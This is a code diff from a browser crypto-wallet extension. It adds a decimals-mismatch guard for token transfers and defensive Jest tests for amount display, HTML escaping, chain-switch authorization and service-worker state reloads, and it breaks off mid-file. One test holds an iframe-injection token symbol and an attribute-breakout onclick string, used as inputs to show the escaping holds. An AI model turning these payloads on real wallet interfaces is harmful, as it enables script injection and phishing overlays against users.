+// upgradeable or proxy token, a caller-dependent one, a stale or wrong explorer
+// entry — therefore signed an amount that was never displayed, off by a power
+// of ten for every decimal place of disagreement.
+//
+// So the scale used to encode is the scale the screen rendered with, carried
+// forward on the pending transaction, and the contract's own answer is read
+// only to be compared with it. A disagreement is a refusal, never a preference
+// for either number: the wallet cannot tell which of the two the user meant,
+// and both candidate transfers move an amount nobody approved.
+//
+// This is the confirmTx counterpart to approvalVerify.js, which does the same
+// job for the dApp approval path, and it takes the same stance: a quantity that
+// cannot be compared with what was displayed has not been checked, so an absent
+// or unusable value is refused rather than filled in.
+//
+// Every message here is shown to the user on the transaction error screen, so
+// each is a full sentence and names the numbers it is refusing over.
+
+const { parseUnits } = require("ethers");
+
+// Solidity's decimals() returns a uint8, so anything outside that range is not
+// an answer this wallet can use.
+const MAX_DECIMALS = 255;
+
+const UNKNOWN_DISPLAYED_DECIMALS_MESSAGE =
+    "The transfer was not sent, because the number of decimal places this" +
+    " amount was shown with is unknown, so the amount that would be signed" +
+    " cannot be shown to be the amount that was displayed.";
+
+const UNREADABLE_CONTRACT_DECIMALS_MESSAGE =
+    "The transfer was not sent, because the token contract did not report a" +
+    " usable number of decimal places, so the amount that would be signed" +
+    " cannot be checked against the amount that was displayed.";
+
+function mismatchMessage(displayed, onChain) {
+    return (
+        "The transfer was not sent. The token contract reports " +
+        onChain +
+        " decimal places, but the amount was displayed using " +
+        displayed +
+        ", so signing it would move a different amount than the one shown." +
+        " Reopen the wallet to reload this token's details and try again."
+    );
+}
+
+// A decimals value from either source as a number, or null if it is not one.
+// decimals() comes back from ethers as a bigint and the explorer's copy arrives
+// as a string, so both of those are accepted alongside a plain number; anything
+// fractional, negative, out of uint8 range, or of any other type at all is not.
+//
+// The types are enumerated rather than coerced because Number() is far too
+// willing: Number([]) is 0 and Number(true) is 1, so a coercing check would
+// admit an empty array as a scale of zero and encode a whole-token transfer
+// against it.
+function toDecimals(value) {
+    let n;
+    if (typeof value === "number") {
+        n = value;
+    } else if (typeof value === "bigint") {
+        if (value < 0n || value > BigInt(MAX_DECIMALS)) return null;
+        n = Number(value);
+    } else if (typeof value === "string") {
+        if (!/^[0-9]+$/.test(value)) return null;
+        n = Number(value);
+    } else {
+        return null;
+    }
+    if (!Number.isInteger(n) || n < 0 || n > MAX_DECIMALS) return null;
+    return n;
+}
+
+// The decimals the confirmation screen rendered an amount with, as a number.
+// Throws when the pending transaction does not carry a usable one — which is
+// also what keeps the gas estimate from quietly estimating a different transfer
+// than the one that would be signed.
+function displayedDecimals(value) {
+    const displayed = toDecimals(value);
+    if (displayed === null) {
+        throw new Error(UNKNOWN_DISPLAYED_DECIMALS_MESSAGE);
+    }
+    return displayed;
+}
+
+// The transfer amount in the token's base units, or a throw. `amount` is the
+// decimal string the user typed and the screen displayed, `displayed` is the
+// scale it was displayed at, and `onChain` is what the contract's decimals()
+// answered at signing time. The two scales must agree.
+function transferAmountUnits(amount, displayed, onChain) {
+    const shown = displayedDecimals(displayed);
+    const reported = toDecimals(onChain);
+    if (reported === null) {
+        throw new Error(UNREADABLE_CONTRACT_DECIMALS_MESSAGE);
+    }
+    if (reported !== shown) {
+        throw new Error(mismatchMessage(shown, reported));
+    }
+    return parseUnits(String(amount), shown);
+}
+
+module.exports = {
+    displayedDecimals,
+    transferAmountUnits,
+    mismatchMessage,
+    MAX_DECIMALS,
+    UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
+    UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
+};

tests/approvalAmount.test.js

@@ -0,0 +1,208 @@
+// The quantity the dApp approval screen shows for a decoded ERC-20 call.
+//
+// The screen's amount line is the only place a user sees how much a page is
+// asking for, and it is decoded from calldata, which carries base units and
+// no scale. Issue #306: decodeCalldata read decimals from the bundled token
+// list alone and fell back to 18, so a `transfer` of 5000000000 units of a
+// 6-decimal token — 5,000 tokens — was displayed as `0.0000` and confirmed.
+//
+// What is asserted here is that the scale is found wherever the wallet
+// already has it, and that where it is nowhere at all no formatted number is
+// produced: the amount line has to say base units and say the scale is
+// unknown, because a wrong quantity that reads as zero is worse than an
+// unwieldy correct one.
+
+globalThis.chrome = {
+    storage: { local: { get: async () => ({}), set: async () => {} } },
+};
+
+const { Interface } = require("ethers");
+const { ERC20_ABI } = require("../src/shared/constants");
+const { state } = require("../src/shared/state");
+const {
+    resolveTokenDecimals,
+    unknownDecimalsAmount,
+} = require("../src/shared/approvalAmount");
+const { decodeCalldata } = require("../src/popup/views/approval");
+
+const iface = new Interface(ERC20_ABI);
+
+// Outside the bundled list, as the great majority of ERC-20s are.
+const NOVEL_TOKEN = "0xE2E0000000000000000000000000000000000E2e";
+// In the bundled list, at 6 decimals.
+const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
+const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
+const SPENDER = "0x1111111111111111111111111111111111111111";
+
+// 5,000 units of a 6-decimal token, the amount from the issue.
+const FIVE_THOUSAND_AT_SIX = 5000000000n;
+const MAX_UINT256 = (1n << 256n) - 1n;
+
+function transferData(amount) {
+    return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
+}
+
+function approveData(amount) {
+    return iface.encodeFunctionData("approve", [SPENDER, amount]);
+}
+
+// The Amount line as the approval screen renders it.
+function amountLine(data, tokenAddress) {
+    const decoded = decodeCalldata(data, tokenAddress);
+    const detail = decoded.details.find((d) => d.label === "Amount");
+    return detail.value;
+}
+
+// A wallet holding `token` with the decimals the block explorer reported,
+// shaped as balances.js writes it onto state.
+function walletsHolding(token, decimals) {
+    return [
+        {
+            name: "Wallet 1",
+            addresses: [
+                {
+                    address: "0x" + "a".repeat(40),
+                    balance: "1.0",
+                    tokenBalances: [
+                        {
+                            address: token,
+                            symbol: "NOVEL",
+                            decimals,
+                            balance: "5000.0",
+                        },
+                    ],
+                },
+            ],
+        },
+    ];
+}
+
+beforeEach(() => {
+    state.trackedTokens = [];
+    state.wallets = [];
+});
+
+describe("resolveTokenDecimals", () => {
+    test("prefers the bundled list", () => {
+        state.trackedTokens = [{ address: USDC, symbol: "USDC", decimals: 2 }];
+        expect(resolveTokenDecimals(USDC, state)).toBe(6);
+    });
+
+    test("reads a token the user tracks", () => {
+        state.trackedTokens = [
+            {
+                address: NOVEL_TOKEN.toLowerCase(),
+                symbol: "NOVEL",
+                decimals: 6,
+            },
+        ];
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
+    });
+
+    test("reads the decimals the explorer reported", () => {
+        // Blockscout's copy arrives as a string.
+        state.wallets = walletsHolding(NOVEL_TOKEN, "6");
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
+    });
+
+    test("falls past a tracked entry whose decimals are unusable", () => {
+        state.trackedTokens = [
+            { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: NaN },
+        ];
+        state.wallets = walletsHolding(NOVEL_TOKEN, 6);
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
+    });
+
+    test("refuses a scale the explorer's own entries disagree about", () => {
+        const wallets = walletsHolding(NOVEL_TOKEN, 6);
+        wallets[0].addresses.push({
+            address: "0x" + "b".repeat(40),
+            balance: "0.0",
+            tokenBalances: [
+                { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 18 },
+            ],
+        });
+        state.wallets = wallets;
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
+    });
+
+    test("rejects values that are not a uint8", () => {
+        for (const decimals of [-1, 256, 1.5, true, [], {}, null, "6.0", ""]) {
+            state.trackedTokens = [{ address: NOVEL_TOKEN, decimals }];
+            expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
+        }
+    });
+
+    test("is null when nothing knows the token", () => {
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
+    });
+});
+
+describe("decodeCalldata amount", () => {
+    test("transfer of a tracked 6-decimal token shows the true quantity", () => {
+        state.trackedTokens = [
+            { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
+        ];
+        expect(
+            amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
+        ).toBe("5000.0000");
+    });
+
+    test("transfer priced off the explorer's decimals shows the true quantity", () => {
+        state.wallets = walletsHolding(NOVEL_TOKEN, "6");
+        expect(
+            amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
+        ).toBe("5000.0000");
+    });
+
+    test("transfer of an unknown-decimals token shows base units, not a number", () => {
+        const line = amountLine(
+            transferData(FIVE_THOUSAND_AT_SIX),
+            NOVEL_TOKEN,
+        );
+        expect(line).toBe("5000000000 base units (decimals unknown)");
+        expect(line).toBe(unknownDecimalsAmount(FIVE_THOUSAND_AT_SIX));
+        // The defect: any rendering that reads as a token quantity, and above
+        // all one that reads as zero.
+        expect(line).not.toMatch(/0\.0000/);
+    });
+
+    test("approve of a tracked 6-decimal token shows the true quantity", () => {
+        state.trackedTokens = [
+            { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
+        ];
+        expect(amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN)).toBe(
+            "5000.0000",
+        );
+    });
+
+    test("approve of an unknown-decimals token shows base units, not a number", () => {
+        const line = amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN);
+        expect(line).toBe("5000000000 base units (decimals unknown)");
+        expect(line).not.toMatch(/0\.0000/);
+    });
+
+    test("an unbounded allowance is still named, with or without a scale", () => {
+        expect(amountLine(approveData(MAX_UINT256), NOVEL_TOKEN)).toBe(
+            "Unlimited",
+        );
+        expect(amountLine(approveData(MAX_UINT256), USDC)).toBe("Unlimited");
+    });
+
+    test("a bundled token keeps its symbol and its scale", () => {
+        expect(amountLine(transferData(FIVE_THOUSAND_AT_SIX), USDC)).toBe(
+            "5000.0000 USDC",
+        );
+    });
+
+    test("the amount carried to the status screens is the same string", () => {
+        const decoded = decodeCalldata(
+            transferData(FIVE_THOUSAND_AT_SIX),
+            NOVEL_TOKEN,
+        );
+        const detail = decoded.details.find((d) => d.label === "Amount");
+        expect(detail.rawValue).toBe(
+            "5000000000 base units (decimals unknown)",
+        );
+    });
+});

tests/balanceLineEscaping.test.js

@@ -0,0 +1,69 @@
+// balanceLine() is the row that issue #307 was reported against: every
+// screen that lists a holding renders through it, and the symbol it renders
+// is whatever an ERC-20's symbol() returned. This asserts against the
+// string it emits, which is what gets assigned to innerHTML.
+//
+// The browser half of the same claim — that a real Chrome renders that
+// string as text and puts no iframe in the popup DOM — is in
+// tests/e2e/run.js. This half runs inside the 20-second make test cap.
+
+"use strict";
+
+// helpers.js reaches for both at module scope through the modules it pulls
+// in. Neither is exercised by anything asserted here.
+global.chrome = {
+    storage: {
+        local: {
+            get: () => Promise.resolve({}),
+            set: () => Promise.resolve(),
+        },
+    },
+    runtime: { sendMessage: () => {} },
+};
+global.document = {
+    getElementById: () => null,
+    createElement: () => ({ style: {}, classList: { toggle() {} } }),
+    body: { prepend: () => {} },
+    addEventListener: () => {},
+};
+
+const { balanceLine } = require("../src/popup/views/helpers");
+const { MAX_SYMBOL_LENGTH } = require("../src/shared/symbolDisplay");
+
+// The payload from the issue's reproduction, verbatim.
+const HOSTILE_SYMBOL =
+    '<iframe id="pwn" src="https://dapp.e2e.test/" ' +
+    'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
+
+describe("balanceLine", () => {
+    test("emits a hostile symbol as text, not as an element", () => {
+        // Deliberately asserted on the escaping alone. The cap truncates
+        // this payload before its id attribute, so an assertion about the
+        // rest of the payload would pass on the cap and say nothing about
+        // the escape.
+        const html = balanceLine(HOSTILE_SYMBOL, 1, null, null);
+        expect(html).not.toContain("<iframe");
+        expect(html).toContain("&lt;iframe");
+    });
+
+    test("caps the symbol before rendering it", () => {
+        const html = balanceLine("A".repeat(4096), 1, null, null);
+        expect(html).toContain("A".repeat(MAX_SYMBOL_LENGTH - 1) + "…");
+        expect(html).not.toContain("A".repeat(MAX_SYMBOL_LENGTH + 1));
+    });
+
+    // The token id lands inside data-token="...", so a quote in it is a
+    // way out of the attribute and into a new one.
+    test("keeps a quote-bearing token id inside its attribute", () => {
+        const html = balanceLine("TKN", 1, null, '" onclick="alert(1)');
+        expect(html).not.toContain('onclick="');
+        expect(html).toContain('data-token="&quot; onclick=&quot;alert(1)"');
+    });
+
+    test("renders an ordinary holding unchanged", () => {
+        const html = balanceLine("USDC", 1.5, null, "0xabc");
+        expect(html).toContain("<span>USDC</span>");
+        expect(html).toContain("<span>1.5000</span>");
+        expect(html).toContain('data-token="0xabc"');
+    });
+});

tests/chainSwitchGate.test.js

@@ -0,0 +1,232 @@
+// Who may move the active chain.
+//
+// wallet_switchEthereumChain used to be answered for any origin at all, with
+// no connection check and no prompt, so a page the user had never connected
+// to could clear the [TESTNET] banner under someone who believed they were
+// on Sepolia (https://git.eeqj.de/sneak/AutistMask/issues/308). The refusal
+// is asserted as a refusal to ACT — the state unmoved and no chainChanged
+// broadcast — because an error code alone would not distinguish a gate from
+// a switch that happened and then reported a failure.
+//
+// The endpoint half of that issue lives in tests/networkEndpoints.test.js;
+// this file mocks the state module, which that one exercises for real.
+
+const { networkById } = require("../src/shared/networks");
+
+const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+
+// The site the persisted state has connected, and one it has never heard of.
+const CONNECTED_ORIGIN = "https://dapp.example";
+const CONNECTED_HOSTNAME = "dapp.example";
+const STRANGER_ORIGIN = "https://stranger.example";
+
+const MAINNET = networkById("mainnet");
+const SEPOLIA = networkById("sepolia");
+
+// The user's own node, so a switch that happens is visible as the loss of it.
+const CUSTOM_RPC = "http://127.0.0.1:8545";
+
+function walletFixture() {
+    return [
+        {
+            name: "Wallet 1",
+            type: "hd",
+            addresses: [{ address: ADDRESS, balance: "0", tokenBalances: [] }],
+        },
+    ];
+}
+
+// Let the handler's promise chain run to the next suspension point. The gate
+// reads storage before it answers, so the response is several awaits deep.
+async function settle() {
+    for (let i = 0; i < 50; i++) await Promise.resolve();
+}
+
+afterEach(() => {
+    delete global.chrome;
+});
+
+// ---------------------------------------------------------------------------
+// The gate: which origins the background will switch the chain for.
+// ---------------------------------------------------------------------------
+
+// Load the background worker against stubbed browser APIs, with the real
+// chain-switch module behind it, and return the handles to drive it. The
+// wallet state is a plain object so that a switch that DID happen is visible
+// as a mutation of it, and one that did not is visible as its absence.
+function loadBackground() {
+    jest.resetModules();
+
+    const walletState = {
+        networkId: "mainnet",
+        rpcUrl: CUSTOM_RPC,
+        blockscoutUrl: MAINNET.defaultBlockscoutUrl,
+        networkEndpoints: {},
+        wallets: walletFixture(),
+        lastBalanceRefresh: 1,
+        tokenHolderCache: {},
+        fraudContracts: [],
+    };
+
+    jest.doMock("../src/shared/state", () => ({
+        state: walletState,
+        loadState: jest.fn(async () => {}),
+        saveState: jest.fn(async () => {}),
+        currentNetwork: () => networkById(walletState.networkId),
+    }));
+    jest.doMock("../src/shared/balances", () => ({
+        getProvider: () => ({}),
+        refreshBalances: jest.fn(async () => {}),
+    }));
+    jest.doMock("../src/shared/phishingDomains", () => ({
+        isPhishingDomain: () => false,
+    }));
+    jest.doMock("../src/shared/alarms", () => ({
+        BALANCE_REFRESH_ALARM: "balance",
+        BALANCE_REFRESH_PERIOD_MINUTES: 1,
+        ensureRecurringAlarms: jest.fn(async () => {}),
+        registerAlarmHandlers: jest.fn(),
+    }));
+
+    const persisted = {
+        wallets: walletFixture(),
+        activeAddress: ADDRESS,
+        allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
+        deniedSites: {},
+    };
+
+    let messageListener = null;
+    // Every message the background pushed at a content script. chainChanged
+    // is what tells a page the wallet moved, so an ungated switch is visible
+    // here as well as in the state.
+    const toTabs = [];
+
+    global.chrome = {
+        storage: {
+            local: {
+                get: jest.fn(async () => ({ autistmask: persisted })),
+                set: jest.fn(async () => {}),
+            },
+        },
+        runtime: {
+            getURL: (path) => "chrome-extension://autistmask/" + path,
+            onMessage: {
+                addListener: (fn) => {
+                    messageListener = fn;
+                },
+            },
+            onConnect: { addListener: () => {} },
+            lastError: null,
+        },
+        windows: {
+            getLastFocused: (cb) => cb(null),
+            create: (options, cb) => cb({ id: 1 }),
+            remove: (id, cb) => {
+                if (cb) cb();
+            },
+            onRemoved: { addListener: () => {} },
+        },
+        tabs: {
+            query: (queryInfo, cb) => cb([{ id: 1 }]),
+            sendMessage: (tabId, message, cb) => {
+                toTabs.push(message);
+                if (cb) cb();
+            },
+        },
+        action: { setPopup: () => {} },
+    };
+
+    require("../src/background/index");
+
+    async function switchChain(chainId, origin) {
+        let result = null;
+        messageListener(
+            {
+                type: "AUTISTMASK_RPC",
+                method: "wallet_switchEthereumChain",
+                params: [{ chainId }],
+            },
+            { origin },
+            (r) => {
+                result = r;
+            },
+        );
+        await settle();
+        return result;
+    }
+
+    return {
+        switchChain,
+        walletState,
+        chainChangedEvents: () =>
+            toTabs.filter((m) => m.eventName === "chainChanged"),
+    };
+}
+
+describe("wallet_switchEthereumChain is gated on the connection", () => {
+    test("an origin the wallet was never connected to is refused with 4100", async () => {
+        const bg = loadBackground();
+
+        const result = await bg.switchChain(SEPOLIA.chainId, STRANGER_ORIGIN);
+
+        expect(result.error).toEqual({ code: 4100, message: "Unauthorized" });
+        expect(result.result).toBeUndefined();
+        // The refusal has to be a refusal to ACT, not just an error string:
+        // the wallet is still on mainnet, still on the user's own node, and
+        // no page was told the chain moved.
+        expect(bg.walletState.networkId).toBe("mainnet");
+        expect(bg.walletState.rpcUrl).toBe(CUSTOM_RPC);
+        expect(bg.chainChangedEvents()).toEqual([]);
+    });
+
+    test("an unconnected origin is refused even for the chain already active", async () => {
+        const bg = loadBackground();
+
+        const result = await bg.switchChain(MAINNET.chainId, STRANGER_ORIGIN);
+
+        expect(result.error).toEqual({ code: 4100, message: "Unauthorized" });
+    });
+
+    test("an unconnected origin is refused before the unsupported-chain answer", async () => {
+        const bg = loadBackground();
+
+        const result = await bg.switchChain("0x89", STRANGER_ORIGIN);
+
+        expect(result.error.code).toBe(4100);
+    });
+
+    test("a connected origin switches the chain", async () => {
+        const bg = loadBackground();
+
+        const result = await bg.switchChain(SEPOLIA.chainId, CONNECTED_ORIGIN);
+
+        expect(result).toEqual({ result: null });
+        expect(bg.walletState.networkId).toBe("sepolia");
+        expect(bg.chainChangedEvents()).toEqual([
+            {
+                type: "AUTISTMASK_EVENT",
+                eventName: "chainChanged",
+                data: SEPOLIA.chainId,
+            },
+        ]);
+    });
+
+    test("a connected origin asking for an unsupported chain still gets 4902", async () => {
+        const bg = loadBackground();
+
+        const result = await bg.switchChain("0x89", CONNECTED_ORIGIN);
+
+        expect(result.error.code).toBe(4902);
+        expect(bg.walletState.networkId).toBe("mainnet");
+    });
+
+    test("a switch by a connected origin keeps the user's endpoint", async () => {
+        const bg = loadBackground();
+
+        await bg.switchChain(SEPOLIA.chainId, CONNECTED_ORIGIN);
+        expect(bg.walletState.rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
+
+        await bg.switchChain(MAINNET.chainId, CONNECTED_ORIGIN);
+        expect(bg.walletState.rpcUrl).toBe(CUSTOM_RPC);
+    });
+});

tests/coldWorkerChainId.test.js

@@ -0,0 +1,258 @@
+// What eth_chainId and net_version answer on a worker that has not loaded
+// state yet.
+//
+// The MV3 service worker is terminated when idle and revived by the next
+// message, and nothing loads state at module scope. Both methods answered from
+// currentNetwork(), which reads the module-level `state` singleton, so a
+// worker revived by the page's own message answered out of DEFAULT_STATE and
+// told a page it was on mainnet while the user was on Sepolia
+// (https://git.eeqj.de/sneak/AutistMask/issues/317).
+//
+// This file therefore uses the REAL state module and never calls loadState()
+// itself: the handler has to answer from storage on its own. Same shape as
+// tests/coldWorkerChainSwitch.test.js, which covers the write side.
+
+const { networkById } = require("../src/shared/networks");
+
+const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+
+const CONNECTED_ORIGIN = "https://dapp.example";
+const CONNECTED_HOSTNAME = "dapp.example";
+const UNKNOWN_ORIGIN = "https://stranger.example";
+
+const MAINNET = networkById("mainnet");
+const SEPOLIA = networkById("sepolia");
+
+const REFRESHED_BALANCE = "1.5";
+
+function storedProfile(networkId) {
+    return {
+        hasWallet: true,
+        wallets: [
+            {
+                name: "Wallet 1",
+                type: "hd",
+                addresses: [
+                    { address: ADDRESS, balance: "0", tokenBalances: [] },
+                ],
+            },
+        ],
+        activeAddress: ADDRESS,
+        networkId,
+        rpcUrl: networkById(networkId).defaultRpcUrl,
+        blockscoutUrl: networkById(networkId).defaultBlockscoutUrl,
+        allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
+        deniedSites: {},
+        trackedTokens: [],
+    };
+}
+
+async function settle() {
+    for (let i = 0; i < 50; i++) await Promise.resolve();
+}
+
+afterEach(() => {
+    delete global.chrome;
+});
+
+// Load the background worker with the real state module behind it, over a
+// storage stub that keeps what is written.
+//
+// The stub structured-clones in both directions, as the real
+// chrome.storage.local does. A stub that handed back the live stored object
+// would alias it into whatever read it, so an in-place mutation of a detached
+// copy would appear to have reached storage and this whole class of defect
+// would be invisible here.
+//
+// opts.refreshBalances replaces the balances stub, so a test can hold a
+// refresh open across a message.
+function loadColdWorker(networkId, opts) {
+    jest.resetModules();
+
+    const options = opts || {};
+
+    jest.doMock("../src/shared/balances", () => ({
+        getProvider: () => ({}),
+        refreshBalances: options.refreshBalances || jest.fn(async () => {}),
+    }));
+    jest.doMock("../src/shared/phishingDomains", () => ({
+        isPhishingDomain: () => false,
+    }));
+
+    let alarmHandlers = {};
+    jest.doMock("../src/shared/alarms", () => ({
+        BALANCE_REFRESH_ALARM: "balance",
+        BALANCE_REFRESH_PERIOD_MINUTES: 1,
+        ensureRecurringAlarms: jest.fn(async () => {}),
+        registerAlarmHandlers: jest.fn((handlers) => {
+            alarmHandlers = handlers;
+        }),
+    }));
+
+    const store = { autistmask: storedProfile(networkId) };
+
+    let messageListener = null;
+    const set = jest.fn(async (items) => {
+        store.autistmask = structuredClone(items.autistmask);
+    });
+
+    global.chrome = {
+        storage: {
+            local: {
+                get: jest.fn(async () => structuredClone(store)),
+                set,
+            },
+        },
+        runtime: {
+            getURL: (path) => "chrome-extension://autistmask/" + path,
+            onMessage: {
+                addListener: (fn) => {
+                    messageListener = fn;
+                },
+            },
+            onConnect: { addListener: () => {} },
+            lastError: null,
+        },
+        windows: {
+            getLastFocused: (cb) => cb(null),
+            create: (options, cb) => cb({ id: 1 }),
+            remove: (id, cb) => {
+                if (cb) cb();
+            },
+            onRemoved: { addListener: () => {} },
+        },
+        tabs: {
+            query: (queryInfo, cb) => cb([{ id: 1 }]),
+            sendMessage: (tabId, message, cb) => {
+                if (cb) cb();
+            },
+        },
+        action: { setPopup: () => {} },
+    };
+
+    require("../src/background/index");
+
+    async function rpc(method, origin) {
+        let result = null;
+        messageListener(
+            { type: "AUTISTMASK_RPC", method, params: [] },
+            { origin: origin || CONNECTED_ORIGIN },
+            (r) => {
+                result = r;
+            },
+        );
+        await settle();
+        return result;
+    }
+
+    return {
+        rpc,
+        persisted: () => store.autistmask,
+        storageSet: set,
+        fireBalanceAlarm: () => alarmHandlers.balance(),
+    };
+}
+
+describe("chain identity read by a worker that never loaded state", () => {
+    test("eth_chainId answers the stored chain, not the default", async () => {
+        // The first message this worker ever sees. Reading the unloaded
+        // singleton answers mainnet's 0x1 to a user who is on Sepolia.
+        const bg = loadColdWorker("sepolia");
+
+        expect(await bg.rpc("eth_chainId")).toEqual({
+            result: SEPOLIA.chainId,
+        });
+    });
+
+    test("net_version answers the stored chain, not the default", async () => {
+        const bg = loadColdWorker("sepolia");
+
+        expect(await bg.rpc("net_version")).toEqual({
+            result: SEPOLIA.networkVersion,
+        });
+    });
+
+    test("answers the stored chain to an origin that never connected", async () => {
+        // Neither method is gated on a connection, so the stale answer reached
+        // any page at all; the fixed answer has to as well.
+        const bg = loadColdWorker("sepolia");
+
+        expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
+            result: SEPOLIA.chainId,
+        });
+        expect(await bg.rpc("net_version", UNKNOWN_ORIGIN)).toEqual({
+            result: SEPOLIA.networkVersion,
+        });
+    });
+
+    test("answers mainnet for a profile stored on mainnet", async () => {
+        // The default and the stored value agree here, so this case cannot
+        // catch the defect; it is what keeps the fix from being a swap.
+        const bg = loadColdWorker("mainnet");
+
+        expect(await bg.rpc("eth_chainId")).toEqual({
+            result: MAINNET.chainId,
+        });
+        expect(await bg.rpc("net_version")).toEqual({
+            result: MAINNET.networkVersion,
+        });
+    });
+
+    test("persists nothing: these are reads", async () => {
+        // The load must not turn a read into a write. saveState() persists
+        // every field of the singleton, and a read path that reached it would
+        // be the wipe https://git.eeqj.de/sneak/AutistMask/issues/316 fixed.
+        const bg = loadColdWorker("sepolia");
+
+        await bg.rpc("eth_chainId");
+        await bg.rpc("net_version");
+
+        expect(bg.storageSet).not.toHaveBeenCalled();
+        expect(bg.persisted()).toEqual(storedProfile("sepolia"));
+    });
+
+    test("a chain read arriving mid-refresh does not discard the refresh", async () => {
+        // Any page reaches these two methods, and the injected provider sends
+        // eth_chainId on every page load, so this overlap is ordinary traffic
+        // rather than a contrived race.
+        //
+        // backgroundRefresh() hands the singleton's wallets to
+        // refreshBalances(), which mutates those address objects in place once
+        // the network round trip resolves, and only then saves. Answering the
+        // page by calling loadState() would replace state.wallets mid-flight,
+        // so the refreshed balances would land on detached objects and the
+        // save that follows would persist the pre-refresh values — while still
+        // stamping lastBalanceRefresh, suppressing the redo.
+        let releaseRoundTrip;
+        const roundTrip = new Promise((resolve) => {
+            releaseRoundTrip = resolve;
+        });
+        let refreshReachedNetwork;
+        const inFlight = new Promise((resolve) => {
+            refreshReachedNetwork = resolve;
+        });
+
+        const bg = loadColdWorker("sepolia", {
+            refreshBalances: async (wallets) => {
+                refreshReachedNetwork();
+                await roundTrip;
+                // In place, on the objects handed in — as balances.js does.
+                wallets[0].addresses[0].balance = REFRESHED_BALANCE;
+            },
+        });
+
+        const refresh = bg.fireBalanceAlarm();
+        await inFlight;
+
+        expect(await bg.rpc("eth_chainId", UNKNOWN_ORIGIN)).toEqual({
+            result: SEPOLIA.chainId,
+        });
+
+        releaseRoundTrip();
+        await refresh;
+
+        expect(bg.persisted().wallets[0].addresses[0].balance).toBe(
+            REFRESHED_BALANCE,
+        );
+    });
+});

tests/coldWorkerChainSwitch.test.js

@@ -0,0 +1,212 @@
+// What a chain switch does to a worker that has not loaded state yet.
+//
+// The MV3 service worker is terminated when idle and revived by the next
+// message, and nothing loads state at module scope. The chain-switch handler
+// reaches onChainSwitch(), which mutates the module-level `state` singleton
+// and then persists EVERY field of it, so a handler that runs before a load
+// writes DEFAULT_STATE over the user's stored profile — every wallet, every
+// site approval, every tracked token and the custom endpoint
+// (https://git.eeqj.de/sneak/AutistMask/issues/316). The same singleton is
+// what currentNetwork() answers from, so the same-chain early return also
+// compares against the wrong network.
+//
+// This file therefore uses the REAL state module and never calls loadState()
+// itself: the handler has to do it. tests/chainSwitchGate.test.js mocks the
+// state module wholesale and tests/networkEndpoints.test.js always loads
+// first, so neither can see this.
+
+const { networkById } = require("../src/shared/networks");
+
+const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+
+const CONNECTED_ORIGIN = "https://dapp.example";
+const CONNECTED_HOSTNAME = "dapp.example";
+
+const MAINNET = networkById("mainnet");
+const SEPOLIA = networkById("sepolia");
+
+// The user's own node, and a wallet whose loss is the whole point.
+const CUSTOM_RPC = "http://127.0.0.1:8545";
+const CUSTOM_BLOCKSCOUT = "http://127.0.0.1:4000/api/v2";
+const TOKEN = "0x6B175474E89094C44Da98b954EedeAC495271d0F";
+
+function walletFixture() {
+    return [
+        {
+            name: "Wallet 1",
+            type: "hd",
+            addresses: [{ address: ADDRESS, balance: "0", tokenBalances: [] }],
+        },
+    ];
+}
+
+// A profile as an installed extension holds it, on `networkId`.
+function storedProfile(networkId) {
+    return {
+        hasWallet: true,
+        wallets: walletFixture(),
+        activeAddress: ADDRESS,
+        networkId,
+        rpcUrl: CUSTOM_RPC,
+        blockscoutUrl: CUSTOM_BLOCKSCOUT,
+        allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
+        deniedSites: {},
+        trackedTokens: [{ address: TOKEN, symbol: "DAI", decimals: 18 }],
+        theme: "dark",
+    };
+}
+
+async function settle() {
+    for (let i = 0; i < 50; i++) await Promise.resolve();
+}
+
+afterEach(() => {
+    delete global.chrome;
+});
+
+// Load the background worker with the real state and chain-switch modules
+// behind it, over a storage stub that actually keeps what is written — a
+// wipe is only observable against storage that remembers.
+function loadColdWorker(networkId) {
+    jest.resetModules();
+
+    jest.doMock("../src/shared/balances", () => ({
+        getProvider: () => ({}),
+        refreshBalances: jest.fn(async () => {}),
+    }));
+    jest.doMock("../src/shared/phishingDomains", () => ({
+        isPhishingDomain: () => false,
+    }));
+    jest.doMock("../src/shared/alarms", () => ({
+        BALANCE_REFRESH_ALARM: "balance",
+        BALANCE_REFRESH_PERIOD_MINUTES: 1,
+        ensureRecurringAlarms: jest.fn(async () => {}),
+        registerAlarmHandlers: jest.fn(),
+    }));
+
+    const store = { autistmask: storedProfile(networkId) };
+
+    let messageListener = null;
+    const toTabs = [];
+
+    global.chrome = {
+        storage: {
+            local: {
+                get: jest.fn(async () => ({ autistmask: store.autistmask })),
+                set: jest.fn(async (items) => {
+                    store.autistmask = items.autistmask;
+                }),
+            },
+        },
+        runtime: {
+            getURL: (path) => "chrome-extension://autistmask/" + path,
+            onMessage: {
+                addListener: (fn) => {
